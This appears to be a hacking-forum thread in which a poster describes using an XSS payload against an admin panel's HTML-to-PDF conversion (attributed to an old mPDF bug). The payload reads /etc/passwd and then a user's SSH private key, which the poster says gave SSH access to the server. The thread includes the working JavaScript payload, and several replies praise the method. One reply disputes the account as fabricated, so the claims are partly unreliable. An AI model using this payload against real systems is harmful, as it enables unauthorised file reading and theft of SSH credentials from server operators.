Статья Can XSS Get us SSH ?

[oxostore]

Holla XSS!

FIRST POST



[ I will be sharing some out of the box idea's here ]


How Far XSS can go ? is it dangerous bug ? is it only for stealing cookies ??



Situation : Admin access Panel infected with XSS and uploading any file converted to pdf format
Bypassing file upload was hopless.

I have Submit Js code

<script>
x=new XMLHttpRequest;
x.onload=function()
{ document.write(this.responseText) };
x.open("GET","file:///etc/passwd"); x.send();
</script>

Then tried to download the PDF File

was able to read and load /etc/passwd, lets try to read something more interesting

/home/user/.ssh/rsa_id

AND

rsa_id Loaded!!


Making local id_rsa and chmod it 700.. was able to gain ssh access

SSH Active Connection


Credits Please if Copied never shared in other forums!

show some love to keep this going by reaction or whatever support !

any translation to Russian is appreciated from experienced user !​

 

[payl0ad-exe]

I've never seen that before. Cool , you explained that XSS is not just for cookie.

 

[Volcan]

first time to see this nice method

 

[oxostore]

Great ideology, but it won't work
1. SOP won't allow
2. Browsers won't allow (including chromium)

Which browser did you use?

that was on kali firefox .

 

[oxostore]

It won't work on kali firefox and firefox is firefox whether it is on kali or windows.

Посмотреть вложение 94432

well , i was not going to disclose the affected script but .

browser have nothing to load , there is backend script running called mpdf (https://mpdf.github.io) reported in 2017 with the bug that will excute and provide ready to download pdf file .

thanks for passing by .
./0x0

 

[oxostore]

Don't get me wrong but it is important to specify resources especially in these cases, some people read it and think "oh cool, now I can get files from XSS" which actually is some useless bug back from 2017

Because what you did here, is making up a story and writing about it, that's disrespect to the web community here

Please make sure to include actual cases with resources in the future

Have a nice day!

thanks again , have a look here https://xss.pro/threads/122448/ one more mpdf usage.

never under estimate a bug back from 2017 , its more to be misconfigure than bug.